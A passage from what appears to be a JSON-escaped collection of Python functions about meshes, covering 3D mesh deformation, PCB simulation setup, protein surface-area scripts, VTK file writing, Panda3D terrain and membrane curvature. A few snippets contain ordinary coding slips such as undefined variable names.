list<np.array>[n_parts, (3*n_faces, 2)]\\n tmp_adjacent_edges = torch.zeros((len(self.faces_to_edges_map) * 3, 2), dtype=torch.int)\\n for j, face in enumerate(self.faces_to_edges_map):\\n tmp_adjacent_edges[3*j] = torch.IntTensor([face[0], face[1]])\\n tmp_adjacent_edges[3*j+1] = torch.IntTensor([face[0], face[2]])\\n tmp_adjacent_edges[3*j+2] = torch.IntTensor([face[1], face[2]])\\n self.adjacent_edges = tmp_adjacent_edges.long()\\n \\n \\n (bitriangles_map_updated, \\n torch_vertices_4d_updated,\\n target_vertices_updated,\\n updated_edges,\\n n_vertices,\\n n_vertices_old,\\n n_edges,\\n n_edges_old) = remove_degeneracies(self.torch_vertices_4d,\\n self.target_vertices,\\n self.torch_unique_edges,\\n self.bitriangles_map,\\n self.deg_thr,\\n self.ampl_factor)\\n\\n self.bitriangles_map_updated = bitriangles_map_updated\\n self.torch_vertices_4d_updated = torch_vertices_4d_updated\\n self.target_vertices_updated = target_vertices_updated\\n self.updated_edges = updated_edges\\n self.n_vertices = n_vertices\\n self.n_vertices_old = n_vertices_old\\n self.n_edges = n_edges\\n self.n_edges_old = n_edges_old\\n \\n if verbose == 1:\\n print('computing edges deformations...')\\n # list<torch.Tensor>[n_parts, (n_edges, 4, 4)]\\n self.target_edges_deformations = edges_deformation_from_vertices(self.torch_vertices_4d_updated,\\n self.torch_unique_edges,\\n self.target_vertices_updated,\\n self.bitriangles_map_updated)\\n\\n if (self.voxel_centers_nn is not None) or (self.voxel_centers_p2p is not None):\\n if verbose == 1:\\n print('constructing soft indicators...')\\n\\n def indicator_factory(a):\\n a = torch.Tensor(a).double()\\n if self.cuda != None:\\n a = a.to(self.device[0])\\n\\n def aux_function(x):\\n kernel_value, count_close_vertices = 0, 0\\n if self.kernel == 'ep_kernel':\\n if self.mapping == 'p2p':\\n distances = torch.sqrt(torch.sum((a[:, None, :] - x[None, ...]) ** 2, dim=2))\\n close_points = (distances < sigma).double()\\n close_points_count = (distances < 0.02).double()\\n count_close_vertices = torch.sum(close_points_count, dim=1)\\n filter_count_close_points = (count_close_vertices <= 0).double()[:, None, None]\\n kernel_value = torch.sum(filter_count_close_points * close_points[..., None] * (a[:, None, :] - x[None, ...]) ** 2, dim=2)\\n elif self.mapping == 'nn':\\n kernel_value = torch.sum((a - x) ** 2, dim=1)\\n\\n if self.mapping != 'p2p':\\n return kernel_value\\n else:\\n return kernel_value, count_close_vertices\\n return aux_function\\n \\n if self.mapping == 'p2p':\\n self.segmentation_soft_indicators_p2p = []\\n for i in range(len(self.voxel_centers_p2p)):\\n if len(self.voxel_centers_p2p[i]) == 0:\\n self.segmentation_soft_indicators_p2p += [0]\\n else:\\n self.segmentation_soft_indicators_p2p += [indicator_factory(self.voxel_centers_p2p[i])]\\n else:\\n self.segmentation_soft_indicators_nn = indicator_factory(self.voxel_centers_nn)\\n \\n self.edges_deformations = []\\n if verbose == 1:\\n print('initialization done')\\n \\n # timing\\n self.deformations_time = 0\\n self.cost_time = 0\\n self.backward_time = 0\",\n \"def __init__(self, pl, matrix, materialnodebysymbol):\\n super(BoundPolygons, self).__init__(pl, matrix, materialnodebysymbol)\",\n \"def create_ipk_3dcomponent_pcb(\\n self,\\n compName,\\n setupLinkInfo,\\n solutionFreq,\\n resolution,\\n PCB_CS=\\\"Global\\\",\\n rad=\\\"Nothing\\\",\\n extenttype=\\\"Bounding Box\\\",\\n outlinepolygon=\\\"\\\",\\n powerin=\\\"0W\\\",\\n custom_x_resolution=None,\\n custom_y_resolution=None,\\n ):\\n lowRad, highRad = self.get_radiation_settings(rad)\\n hfssLinkInfo = OrderedDict({})\\n arg2dict(self.get_link_data(setupLinkInfo), hfssLinkInfo)\\n\\n native_props = OrderedDict(\\n {\\n \\\"NativeComponentDefinitionProvider\\\": OrderedDict(\\n {\\n \\\"Type\\\": \\\"PCB\\\",\\n \\\"Unit\\\": self.modeler.model_units,\\n \\\"MovePlane\\\": \\\"XY\\\",\\n \\\"Use3DLayoutExtents\\\": False,\\n \\\"ExtentsType\\\": extenttype,\\n \\\"OutlinePolygon\\\": outlinepolygon,\\n \\\"CreateDevices\\\": False,\\n \\\"CreateTopSolderballs\\\": False,\\n \\\"CreateBottomSolderballs\\\": False,\\n \\\"Resolution\\\": int(resolution),\\n \\\"LowSide\\\": OrderedDict({\\\"Radiate\\\": lowRad}),\\n \\\"HighSide\\\": OrderedDict({\\\"Radiate\\\": highRad}),\\n }\\n )\\n }\\n )\\n native_props[\\\"BasicComponentInfo\\\"] = OrderedDict({\\\"IconType\\\": \\\"PCB\\\"})\\n\\n if custom_x_resolution and custom_y_resolution:\\n native_props[\\\"NativeComponentDefinitionProvider\\\"][\\\"UseThermalLink\\\"] = solutionFreq != \\\"\\\"\\n native_props[\\\"NativeComponentDefinitionProvider\\\"][\\\"CustomResolution\\\"] = True\\n native_props[\\\"NativeComponentDefinitionProvider\\\"][\\\"CustomResolutionRow\\\"] = custom_x_resolution\\n native_props[\\\"NativeComponentDefinitionProvider\\\"][\\\"CustomResolutionCol\\\"] = 600\\n # compDefinition += [\\\"UseThermalLink:=\\\", solutionFreq!=\\\"\\\",\\n # \\\"CustomResolution:=\\\", True, \\\"CustomResolutionRow:=\\\", custom_x_resolution,\\n # \\\"CustomResolutionCol:=\\\", 600]\\n else:\\n native_props[\\\"NativeComponentDefinitionProvider\\\"][\\\"UseThermalLink\\\"] = solutionFreq != \\\"\\\"\\n native_props[\\\"NativeComponentDefinitionProvider\\\"][\\\"CustomResolution\\\"] = False\\n # compDefinition += [\\\"UseThermalLink:=\\\", solutionFreq != \\\"\\\",\\n # \\\"CustomResolution:=\\\", False]\\n if solutionFreq:\\n native_props[\\\"NativeComponentDefinitionProvider\\\"][\\\"Frequency\\\"] = solutionFreq\\n native_props[\\\"NativeComponentDefinitionProvider\\\"][\\\"DefnLink\\\"] = hfssLinkInfo[\\\"DefnLink\\\"]\\n # compDefinition += [\\\"Frequency:=\\\", solutionFreq, hfssLinkInfo]\\n else:\\n native_props[\\\"NativeComponentDefinitionProvider\\\"][\\\"Power\\\"] = powerin\\n native_props[\\\"NativeComponentDefinitionProvider\\\"][\\\"DefnLink\\\"] = hfssLinkInfo[\\\"DefnLink\\\"]\\n # compDefinition += [\\\"Power:=\\\", powerin, hfssLinkInfo]\\n\\n native_props[\\\"TargetCS\\\"] = PCB_CS\\n native = NativeComponentObject(self, \\\"PCB\\\", compName, native_props)\\n if native.create():\\n self.modeler.primitives.refresh_all_ids()\\n self.materials._load_from_project()\\n self.native_components.append(native)\\n return native\\n return False\",\n \"def surface_template(self, chain):\\n output_name = output_folder + \\\"/surface_output_\\\" + str(self.input_pdb_path).split(\\\"/\\\")[-1][0:-4] + \\\"_\\\" + chain\\n output_string = 'mol new ' + self.input_pdb_path + '\\\\n' \\\\\\n + 'set allsel [atomselect top \\\"all and chain ' + chain + '\\\"]' + '\\\\n' \\\\\\n + 'set chain ' + chain + '\\\\n' \\\\\\n + 'set tot_sasa [dict create ARG 241 TRP 259 TYR 229' \\\\\\n + ' LYS 211 PHE 218 MET 204 GLN 189 HIS 194 HSD 194 HSE 194 HSP 194 GLU' \\\\\\n + ' 183 LEU 180 ILE 182 ASN 158 ASP 151 CYS 140 VAL 160 THR 146 PRO 143 ' \\\\\\n + 'SER 122 ALA 113 GLY 85]' + '\\\\n' \\\\\\n + 'set residlist [lsort -unique [$allsel get resid]]' + '\\\\n' \\\\\\n + 'set surf_list [list]' + '\\\\n' \\\\\\n + 'foreach r $residlist {' + '\\\\n' \\\\\\n + 'set sel [atomselect top \\\"resid $r and chain $chain\\\"]' + '\\\\n' \\\\\\n + 'set temp_rsasa [measure sasa 1.4 $allsel -restrict $sel]' + '\\\\n' \\\\\\n + 'set temp_name [lsort -unique [$sel get resname]]' + '\\\\n' \\\\\\n + 'set temp_id [lsort -unique [$sel get resid]]' + '\\\\n' \\\\\\n + 'set temp_tot [dict get $tot_sasa $temp_name]' + '\\\\n' \\\\\\n + 'set rsasa [expr $temp_rsasa/$temp_tot]' + '\\\\n' \\\\\\n + 'if {$rsasa > 0.2} {lappend surf_list \\\"$temp_id $temp_name\\\"}' + '\\\\n' \\\\\\n + '}' + '\\\\n' \\\\\\n + 'set fileId [open ' + output_name + ' w]' + '\\\\n' \\\\\\n + 'puts $fileId $surf_list' + '\\\\n' \\\\\\n + 'close $fileId' + '\\\\n' \\\\\\n + 'quit' + '\\\\n' \\\\\\n + 'exit' + '\\\\n'\\n return output_string\",\n \"def __init__(self, mesh, V):\\n super().__init__(mesh, V)\\n self.source = Constant(0)\",\n \"def build_and_add(self,*args):\\n lattice = lattice_class.lattice(*args)\\n self.lattices.append()\\n self.meshfns.append(['in_memory'])\",\n \"def build(self):\\n\\n # Create a custom grid, fe_set \\n nfe = 6\\n fe_a = 1/4.0\\n fe_b = 0.2\\n fe_set = [0, 0.004]\\n for i in range(1,nfe+1):\\n if i < nfe*fe_a:\\n fe_set.append(i*fe_b/(nfe*fe_a))\\n elif i == nfe: \\n fe_set.append(1)\\n else:\\n fe_set.append(fe_b + (i-nfe*fe_a)*(1-fe_b)/(nfe*(1-fe_a)))\\n\\n \\\"\\\"\\\"\\n Args:\\n dae_method = method to use for calcuating derivatives (default = OCLR)\\n - BFD1 - 1st order backwards finite difference\\n - OCLR - Orthogonal collocation, Lagrange-Radau\\n - OCLL - Orthogonal collocation, Lagrange-Legendre\\n press_drop = Pressure drop correlation for superficial velocity calc.\\n - SimplifiedP - simplified pressure correlations \\n - Ergun - Ergun equation\\n fe_set = set of normalised finite element locations\\n nfe = number of finite elements for bed discretization (default = 15)\\n (not used if fe_set specified)\\n ncp = number of collocation points (OCLR or OCLL only, default = 3)\\n \\\"\\\"\\\" \\n\\n # Create unit model for fuel reactor\\n self.MB_fuel = MB_CLC_fuel.MB(\\n parent=self,\\n dae_method = 'OCLR',\\n press_drop = 'Ergun',\\n fe_set = fe_set,\\n ncp = 3)\",\n \"def generate(pts):\\n cmds.polyCreateFacet(name=\\\"shirt\\\", p=points)\\n cmds.polyTriangulate()\\n cmds.polySubdivideFacet(dv=SUBDIVISIONS)\\n cmds.polyTriangulate()\",\n \"def to_mesh(self, outfilename, projection=None, z=None):\\n if projection is None:\\n projection = \\\"LONG/LAT\\\"\\n\\n x = self.xy[:, 0]\\n y = self.xy[:, 1]\\n if z is None:\\n z = np.zeros(self.n)\\n codes = np.zeros(self.n, dtype=int)\\n codes[y == self.y1] = 5 # north\\n codes[x == self.x1] = 4 # east\\n codes[y == self.y0] = 3 # south\\n codes[x == self.x0] = 2 # west\\n codes[(y == self.y1) & (x == self.x0)] = 5 # corner->north\\n\\n builder = MeshBuilder()\\n builder.SetNodes(x, y, z, codes)\\n\\n elem_table = self._to_element_table(index_base=1)\\n builder.SetElements(asnetarray_v2(elem_table))\\n\\n builder.SetProjection(projection)\\n quantity = eumQuantity.Create(EUMType.Bathymetry, EUMUnit.meter)\\n builder.SetEumQuantity(quantity)\\n newMesh = builder.CreateMesh()\\n newMesh.Write(outfilename)\",\n \"def writeVelocityPlot(self):\\n name = \\\"velocity.vtk\\\"\\n chargeFile = open(name,'w')\\n chargeFile.write(\\\"%s\\\\n\\\"%(\\\"# vtk DataFile Version 2.0\\\"))\\n chargeFile.write(\\\"%s\\\\n\\\"%(\\\"obtained via hydraulicmodule\\\"))\\n chargeFile.write(\\\"%s\\\\n\\\"%(\\\"ASCII\\\"))\\n chargeFile.write(\\\"%s\\\\n\\\"%(\\\"DATASET UNSTRUCTURED_GRID\\\"))\\n chargeFile.write(\\\"%s %i %s\\\\n\\\"%(\\\"POINTS\\\",len(self.points),\\\"double\\\"))\\n dim = self.mesh.getSpaceDimensions()\\n if (dim==2): \\n for ind in range(0,len(self.points)):\\n chargeFile.write(\\\"%15.8e %15.8e %15.8e\\\\n\\\"%(self.points[ind][0],\\\\\\n self.points[ind][1],\\\\\\n 0.))\\n pass\\n pass\\n elif (dim==3): \\n for ind in range(0,len(self.points)):\\n chargeFile.write(\\\"%15.8e %15.8e %15.8e\\\\n\\\"%(self.points[ind][0],\\\\\\n self.points[ind][1],\\\\\\n self.points[ind][2]))\\n pass\\n pass\\n else:\\n raise Exception(\\\" error in mesh dimension \\\") \\n numberOfCells = self.mesh.getNumberOfCells()\\n connectivity = self.mesh.getConnectivity()\\n\\n cellListSize = 0\\n for i in range(0,numberOfCells): # gmsh meshes: type of elements\\n gmshType = connectivity[i][1]\\n if gmshType == 1: # 2-node line\\n cellListSize += 3\\n pass\\n elif gmshType == 2: # 3-node triangles\\n cellListSize += 4\\n pass\\n elif gmshType == 3: # 4-node quadrangles\\n cellListSize += 5\\n pass\\n elif gmshType == 4: # 4-node tetrahedron\\n cellListSize += 5\\n pass\\n elif gmshType == 5: # 8-node hexahedrons\\n cellListSize += 9\\n pass\\n pass\\n chargeFile.write(\\\"CELLS %i %i\\\\n\\\"%(numberOfCells,cellListSize))\\n ind = 0\\n for cell in connectivity:\\n ind = cell[2]+3\\n# print \\\" ctm dbg cell \\\",vtkTyp,ind,cell,\\\" perm \\\",permutation[ind],permutation[ind+1],permutation[ind+2],permutation[ind+3]\\n # \\n vtkTyp = _vtkGmsh(cell[1])\\n if (vtkTyp==3): # 2-node line\\n ind = cell[2]+3\\n chargeFile.write(\\\"%i %i %i\\\\n\\\"%(\\n 2,\\\\\\n cell[ind]-1,\\\\\\n cell[ind+1]-1)\\n )\\n pass\\n \\n elif (vtkTyp==5): # triangles\\n chargeFile.write(\\\"%i %i %i %i\\\\n\\\"%(\\n 3, \\n cell[ind]-1,\\\\\\n cell[ind+1]-1,\\\\\\n cell[ind+2]-1)\\n )\\n pass\\n elif (vtkTyp==9): # quadr\\n chargeFile.write(\\\"%i %i %i %i %i\\\\n\\\"%(\\n 4,\\\\\\n cell[ind]-1,\\\\\\n cell[ind+1]-1,\\\\\\n cell[ind+2]-1,\\\\\\n cell[ind+3]-1)\\n )\\n pass\\n elif (vtkTyp==10): # tetra\\n chargeFile.write(\\\"%i %i %i %i %i\\\\n\\\"%(\\n 4,\\\\\\n cell[ind]-1,\\\\\\n cell[ind+1]-1,\\\\\\n cell[ind+2]-1,\\\\\\n cell[ind+3]-1)\\n )\\n pass\\n elif (vtkTyp==12): # hexahedron\\n chargeFile.write(\\\"%i %i %i %i %i %i %i %i %i\\\\n\\\"%(\\n 8,\\\\\\n cell[ind]-1,\\\\\\n cell[ind+1]-1,\\\\\\n cell[ind+2]-1,\\\\\\n cell[ind+3]-1,\\\\\\n cell[ind+4]-1,\\\\\\n cell[ind+5]-1,\\\\\\n cell[ind+6]-1,\\\\\\n cell[ind+7]-1)\\n )\\n pass\\n pass\\n chargeFile.write(\\\"%s %i\\\\n\\\"%(\\\"CELL_TYPES\\\",numberOfCells))\\n#\\n for i in range(0,numberOfCells):\\n gmshType = connectivity[i][1]\\n\\n if (gmshType)==1:\\n cellTyp = 3\\n pass\\n elif (gmshType)==2:\\n cellTyp = 5\\n pass\\n elif (gmshType)==3:\\n cellTyp = 9\\n pass\\n elif (gmshType)==4:\\n cellTyp = 10\\n pass\\n elif (gmshType)==5:\\n cellTyp = 12\\n pass\\n elif (gmshType)==6:\\n cellTyp = 13\\n pass\\n elif gmshType == 7:\\n cellTyp = 14\\n pass\\n else:\\n raise Exception(\\\" check gmshtype \\\")\\n chargeFile.write(\\\"%i\\\\n\\\"%(cellTyp))\\n chargeFile.write(\\\"%s %d\\\\n\\\"%(\\\"POINT_DATA\\\",len(self.points)))\\n chargeFile.write(\\\"%s\\\\n\\\"%(\\\"VECTORS vectors float\\\"))\\n for velocityComponent in self.velocity:\\n chargeFile.write(\\\" %e %e %e\\\\n \\\"%(velocityComponent[0], velocityComponent[1], velocityComponent[2]))\\n chargeFile.write(\\\"%s\\\\n\\\"%(\\\"SCALARS charge double\\\"))\\n chargeFile.write(\\\"%s\\\\n\\\"%(\\\"LOOKUP_TABLE default\\\"))\\n#\\n \\n chargeDataFile=open(\\\"./\\\" + self.flowComponent.meshDirectoryName + \\\"/\\\" + \\\"HeVel.dat\\\",'r')\\n line = chargeDataFile.readline()\\n while \\\"Number Of Nodes\\\" not in line:\\n line = chargeDataFile.readline()\\n#line.split()\\n nodesNumber = line.split()[-1]\\n while \\\"Perm\\\" not in line:\\n line = chargeDataFile.readline()\\n#\\n# We read the permutation\\n#\\n for i in range(int(nodesNumber)): chargeDataFile.readline()\\n#\\n# We read the charge\\n#\\n for i in range(int(nodesNumber)): chargeFile.write(\\\" %15.10e\\\\n \\\"%(float(chargeDataFile.readline())))\",\n \"def setup_terrain(self):\\r\\n self.terrain_scale = LVector3(512, 512, 100)\\r\\n self.terrain_pos = LVector3(-256, -256, -70)\\r\\n # sample values for a 4096 x 4096px heightmap.\\r\\n #self.terrain_scale = LVector3(4096, 4096, 1000)\\r\\n #self.terrain_pos = LVector3(-2048, -2048, -70)\\r\\n \\\"\\\"\\\"\\r\\n Diamond_subdivision is an alternating triangulation scheme and may\\r\\n produce better results.\\r\\n \\\"\\\"\\\"\\r\\n use_diamond_subdivision = True\\r\\n \\r\\n \\\"\\\"\\\"\\r\\n Construct the terrain\\r\\n Without scaling, any ShaderTerrainMesh is 1x1x1 units.\\r\\n \\\"\\\"\\\"\\r\\n self.terrain_node = ShaderTerrainMesh()\\r\\n \\\"\\\"\\\"\\r\\n Set a heightfield, the heightfield should be a 16-bit png and\\r\\n have a quadratic size of a power of two.\\r\\n \\\"\\\"\\\"\\r\\n heightfield = Texture()\\r\\n heightfield.read(self.heightfield_fn)\\r\\n heightfield.set_keep_ram_image(True) \\r\\n self.terrain_node.heightfield = heightfield\\r\\n \\r\\n # Display characteristic values of the heightfield texture\\r\\n #minpoint, maxpoint, avg = LPoint3(), LPoint3(), LPoint3()\\r\\n #heightfield.calc_min_max(minpoint, maxpoint)\\r\\n #heightfield.calc_average_point(avg, 0.5, 0.5, 0.5)\\r\\n #print(\\\"avg: {} min: {} max: {}\\\".format(avg.x, minpoint.x, maxpoint.x))\\r\\n\\r\\n \\\"\\\"\\\"\\r\\n Set the target triangle width. For a value of 10.0 for example,\\r\\n the ShaderTerrainMesh will attempt to make every triangle 10 pixels\\r\\n wide on screen.\\r\\n \\\"\\\"\\\"\\r\\n self.terrain_node.target_triangle_width = 10.0\\r\\n if use_diamond_subdivision:\\r\\n \\\"\\\"\\\"\\r\\n This has to be specified before calling .generate()\\r\\n The default is false.\\r\\n \\\"\\\"\\\"\\r\\n load_prc_file_data(\\\"\\\", \\\"stm-use-hexagonal-layout true\\\")\\r\\n \\r\\n self.terrain_node.generate()\\r\\n \\\"\\\"\\\"\\r\\n Attach the terrain to the main scene and set its scale. With no scale\\r\\n set, the terrain ranges from (0, 0, 0) to (1, 1, 1)\\r\\n \\\"\\\"\\\"\\r\\n self.terrain = self.render.attach_new_node(self.terrain_node)\\r\\n self.terrain.set_scale(self.terrain_scale)\\r\\n self.terrain.set_pos(self.terrain_pos)\\r\\n \\\"\\\"\\\"\\r\\n Set a vertex and a fragment shader on the terrain. The\\r\\n ShaderTerrainMesh only works with an applied shader.\\r\\n \\\"\\\"\\\"\\r\\n terrain_shader = Shader.load(Shader.SL_GLSL, \\r\\n \\\"samples/shader-terrain/terrain.vert.glsl\\\", \\r\\n \\\"samples/shader-terrain/terrain.frag.glsl\\\")\\r\\n self.terrain.set_shader(terrain_shader)\\r\\n self.terrain.set_shader_input(\\\"camera\\\", base.camera)\\r\\n # Set some texture on the terrain\\r\\n grass_tex = self.loader.load_texture(\\r\\n \\\"samples/shader-terrain/textures/grass.png\\\")\\r\\n grass_tex.set_minfilter(SamplerState.FT_linear_mipmap_linear)\\r\\n grass_tex.set_anisotropic_degree(16)\\r\\n self.terrain.set_texture(grass_tex)\\r\\n\\r\\n \\\"\\\"\\\"\\r\\n Set up the DynamicHeightfield (it's a type of PfmFile). We load the\\r\\n same heightfield image as with ShaderTerrainMesh.\\r\\n \\\"\\\"\\\"\\r\\n self.DHF = DynamicHeightfield()\\r\\n self.DHF.read(self.heightfield_fn)\\r\\n \\\"\\\"\\\"\\r\\n Set up empty PfmFiles to prepare stuff in that is going to\\r\\n dynamically modify our terrain.\\r\\n \\\"\\\"\\\"\\r\\n self.StagingPFM = PfmFile()\\r\\n self.RotorPFM = PfmFile()\\r\\n \\r\\n \\\"\\\"\\\"\\r\\n Set up the BulletHeightfieldShape (=collision terrain) and give it\\r\\n some sensible physical properties.\\r\\n \\\"\\\"\\\"\\r\\n self.HFS = BulletHeightfieldShape(self.DHF, self.terrain_scale.z,\\r\\n STM=True)\\r\\n if use_diamond_subdivision:\\r\\n self.HFS.set_use_diamond_subdivision(True)\\r\\n HFS_rigidbody = BulletRigidBodyNode(\\\"BulletTerrain\\\")\\r\\n HFS_rigidbody.set_static(True)\\r\\n friction = 2.0\\r\\n HFS_rigidbody.set_anisotropic_friction(\\r\\n LVector3(friction, friction, friction/1.3))\\r\\n HFS_rigidbody.set_restitution(0.3)\\r\\n HFS_rigidbody.add_shape(self.HFS)\\r\\n self.world.attach(HFS_rigidbody)\\r\\n \\r\\n HFS_NP = NodePath(HFS_rigidbody)\\r\\n HFS_NP.reparent_to(self.worldNP)\\r\\n \\\"\\\"\\\"\\r\\n This aligns the Bullet terrain with the ShaderTerrainMesh rendered\\r\\n terrain. It will be exact as long as the terrain vertex shader from\\r\\n the STM sample is used and no additional tessellation shader.\\r\\n For Bullet (as for other physics engines) the origin of objects is at\\r\\n the center.\\r\\n \\\"\\\"\\\"\\r\\n HFS_NP.set_pos(self.terrain_pos + self.terrain_scale/2)\\r\\n HFS_NP.set_sx(self.terrain_scale.x / heightfield.get_x_size())\\r\\n HFS_NP.set_sy(self.terrain_scale.y / heightfield.get_y_size())\\r\\n \\r\\n # Disables Bullet debug rendering for the terrain, because it is slow.\\r\\n #HFS_NP.node().set_debug_enabled(False)\\r\\n \\r\\n \\\"\\\"\\\"\\r\\n Finally, link the ShaderTerrainMesh and the BulletHeightfieldShape to\\r\\n the DynamicHeightfield. From now on changes to the DynamicHeightfield\\r\\n will propagate to the (visible) ShaderTerrainMesh and the (collidable)\\r\\n BulletHeightfieldShape.\\r\\n \\\"\\\"\\\"\\r\\n self.HFS.set_dynamic_heightfield(self.DHF)\\r\\n self.terrain_node.set_dynamic_heightfield(self.DHF)\",\n \"def __init__(self, mesh, **kwargs):\\n Parameters = namedtuple(\\\"Parameters\\\", [\\\"C\\\", \\\"a\\\", \\\"b\\\", \\\"gl\\\", \\\"El\\\", \\\"Delta_t\\\", \\\"Vt\\\", \\\"tau_w\\\"])\\n default_params = {\\\"C\\\" : 281, # Membrane capacitance (pF)\\n \\\"gl\\\" : 30, # Leak conductance (ns) \\n \\\"El\\\" : -70.6, # Leak reversal potential (mV)\\n \\\"Vt\\\" : -50.4, # Spike threshold (mV)\\n \\\"Delta_t\\\" : 2, # Slop factor (mV)\\n \\\"tau_w\\\" : 144, # Adaptation time constant (ms)\\n \\\"a\\\" : 4, # Subthreshold adaptation (nS)\\n \\\"b\\\" : 0.085 # Spike-triggered adaptation (nA) \\n }\\n\\n # Make sure input parameters only has keys in default params \\n assert set(kwargs.keys()) <= set(default_params)\\n\\n for key in defaultparams:\\n defaultparams[key] = Constant(params[key])\\n\\n self.mesh = mesh\\n self.params = Parameters(**default_params) # parameters subscriptable by name\",\n \"def setMesh(self, sigma=0.1, max_depth_core=3000., ncell_per_skind=10, n_skind=2, core_meshType=\\\"linear\\\", max_hz_core=None):\\n rho = 1./sigma\\n fmin, fmax = self.frequency.min(), self.frequency.max()\\n print (\\n (\\\">> Smallest cell size = %d m\\\") % (500*np.sqrt(rho/fmax) / ncell_per_skind)\\n )\\n print (\\n (\\\">> Padding distance = %d m\\\") % (500*np.sqrt(rho/fmin) * n_skind)\\n )\\n cs = 500*np.sqrt(rho/fmax) / ncell_per_skind\\n length_bc = 500*np.sqrt(100/fmin) * n_skind\\n\\n if core_meshType == \\\"linear\\\":\\n\\n max_hz_core = cs\\n\\n elif core_meshType == \\\"log\\\":\\n\\n if max_hz_core is None:\\n max_hz_core = cs * 10\\n\\n ncz = 2\\n hz_core = np.logspace(np.log10(cs), np.log10(max_hz_core), ncz)\\n\\n while hz_core.sum() < max_depth_core:\\n ncz += 1\\n hz_core = np.logspace(np.log10(cs), np.log10(max_hz_core), ncz)\\n\\n npad = 1\\n blength = max_hz_core*1.3**(np.arange(npad)+1)\\n\\n while blength < length_bc:\\n npad += 1\\n blength = (max_hz_core*1.3**(np.arange(npad)+1)).sum()\\n print (\\n (\\\">> # of padding cells %d\\\") % (npad)\\n )\\n\\n if core_meshType == \\\"linear\\\":\\n ncz = int(max_depth_core / cs)\\n hz = [(cs, npad, -1.3), (cs, ncz)]\\n elif core_meshType == \\\"log\\\":\\n hz_pad = max_hz_core * 1.3**(np.arange(npad)+1)\\n hz = np.r_[hz_pad[::-1], hz_core[::-1]]\\n\\n print (\\n (\\\">> # of core cells cells %d\\\") % (ncz)\\n )\\n mesh = Mesh.TensorMesh([hz], x0='N')\\n\\n return mesh\",\n \"def set_mesh(\\n self,\\n edge_pt_min: int = 15,\\n edge_pt_max=20,\\n mesh_elements: str = \\\"Quad\\\",\\n global_mesh_size: float = 0.25,\\n max_surf_offset: float = 0.01,\\n max_dihedral_angle: float = 15,\\n ):\\n if self.comm.rank == 0:\\n self._aim.input.Edge_Point_Min = edge_pt_min\\n self._aim.input.Edge_Point_Max = edge_pt_max\\n self._aim.input.Mesh_Elements = mesh_elements\\n self._aim.input.Tess_Params = [\\n global_mesh_size,\\n max_surf_offset,\\n max_dihedral_angle,\\n ]\\n self._is_setup = True\\n return self\",\n \"def create( vertices, faces, colour=(0.6,0.6,0.6) ):\\r\\n \\r\\n mesh = GLUtils.GLMesh()\\r\\n \\r\\n for vertex in vertices:\\r\\n mesh.addVertex( PyUtils.toPoint3d(vertex) )\\r\\n \\r\\n for face in faces:\\r\\n poly = GLUtils.GLIndexedPoly()\\r\\n for index in face:\\r\\n poly.addVertexIndex( index )\\r\\n mesh.addPoly(poly)\\r\\n \\r\\n try:\\r\\n mesh.setColour( *colour )\\r\\n except TypeError:\\r\\n mesh.setColour( *(colour + (1,)) )\\r\\n\\r\\n mesh.computeNormals()\\r\\n\\r\\n return mesh\",\n \"def makemesh(pts,vec,growsize=0.2,curvilinear_neighbors=10,\\n\\tcurvilinear=True,debug=False,growsize_nm=None,excise=True,areas_only=False):\\n\\tif debug: \\n\\t\\timport time\\n\\t\\tst = time.time()\\n\\t\\tdef checkpoint(note):\\n\\t\\t\\tprint(note)\\n\\t\\t\\tst = time.time()\\n\\n\\tnmol = len(pts)\\n\\tpts = pts\\n\\tvec = vec\\n\\tif debug: \\n\\t\\timport time\\n\\t\\tst = time.time()\\n\\t\\tprint(\\\"[STATUS] start makemesh %0.2f\\\"%(time.time()-st))\\n\\tptsb,ptsb_inds = beyonder(pts,vec,growsize=growsize,growsize_nm=growsize_nm,return_ids=True)\\n\\tif debug: print(\\\"[STATUS] project curvilinear=\\\"+str(curvilinear)+\\\" %0.2f\\\"%(time.time()-st))\\n\\t#---if curvilinear then use the isomap otherwise project onto the xy plane\\n\\tif curvilinear: \\n\\t\\timport sklearn\\n\\t\\tfrom sklearn import manifold\\n\\t\\tproj = manifold.Isomap(curvilinear_neighbors,2).fit_transform(ptsb)\\n\\telse: proj = ptsb[...,:2]\\n\\tif debug: checkpoint(\\\"[STATUS] delaunay %0.2f\\\"%(time.time()-st))\\n\\tif debug: checkpoint(\\\"[STATUS] shape=\\\"+str(np.shape(ptsb)))\\n\\tdl = scipy.spatial.Delaunay(proj)\\n\\tif debug: checkpoint(\\\"[STATUS] reclock %0.2f\\\"%(time.time()-st))\\n\\tsimplices = np.array([a[reclock(ptsb[a])] for a in dl.simplices])\\n\\t#---rework simplices and ptsb to exclude superfluous points\\n\\tif debug: checkpoint(\\\"[STATUS] trim %0.2f\\\"%(time.time()-st))\\n\\t#---relevants is a unique list of simplices with exactly one member that is equal to a core vertex point\\n\\trelevants = np.unique(np.concatenate([simplices[\\n\\t\\tnp.where(np.sum(simplices==i,axis=1)==1)[0]] for i in range(nmol)]))\\n\\tpoints = ptsb[relevants]\\n\\tghost_indices = ptsb_inds[relevants]\\n\\tptsb = points\\n\\n\\tif debug: checkpoint(\\\"[STATUS] simplices %0.2f\\\"%(time.time()-st))\\n\\tsimplices = np.array([[np.where(relevants==r)[0][0] for r in s] \\n\\t\\tfor s in simplices if np.all([r in relevants for r in s])])\\n\\t#---end rework\\n\\tif debug: checkpoint(\\\"[STATUS] areas %0.2f\\\"%(time.time()-st))\\n\\tareas = np.array([triarea(ptsb[a]) for a in simplices])\\n\\tif areas_only: return {'simplices':simplices,'areas':areas,'nmol':nmol,'vec':vec,'points':points}\\n\\tif debug: checkpoint(\\\"[STATUS] facenorms %0.2f\\\"%(time.time()-st))\\n\\tfacenorms = np.array([vecnorm(facenorm(ptsb[a])) for a in simplices])\\t\\n\\tif debug: checkpoint(\\\"[STATUS] vertex-to-simplex %0.2f\\\"%(time.time()-st))\\n\\tv2s = [np.where(np.any(simplices==i,axis=1))[0] for i in range(nmol)]\\n\\tif debug: checkpoint(\\\"[STATUS] vertex normals %0.2f\\\"%(time.time()-st))\\n\\tvertnorms = np.array([vecnorm(np.sum(facenorms[ind]*\\\\\\n\\t\\tnp.transpose([areas[ind]/np.sum(areas[ind])]),axis=0)) for ind in v2s])\\n\\tprincipals = np.zeros((nmol,2))\\n\\tnl = []\\n\\tif debug: checkpoint(\\\"[STATUS] curvatures %0.2f\\\"%(time.time()-st))\\n\\tfor v in range(nmol):\\n\\t\\tneighbors = np.unique(simplices[np.where(np.any(simplices==v,axis=1))[0]])\\n\\t\\tneighbors = 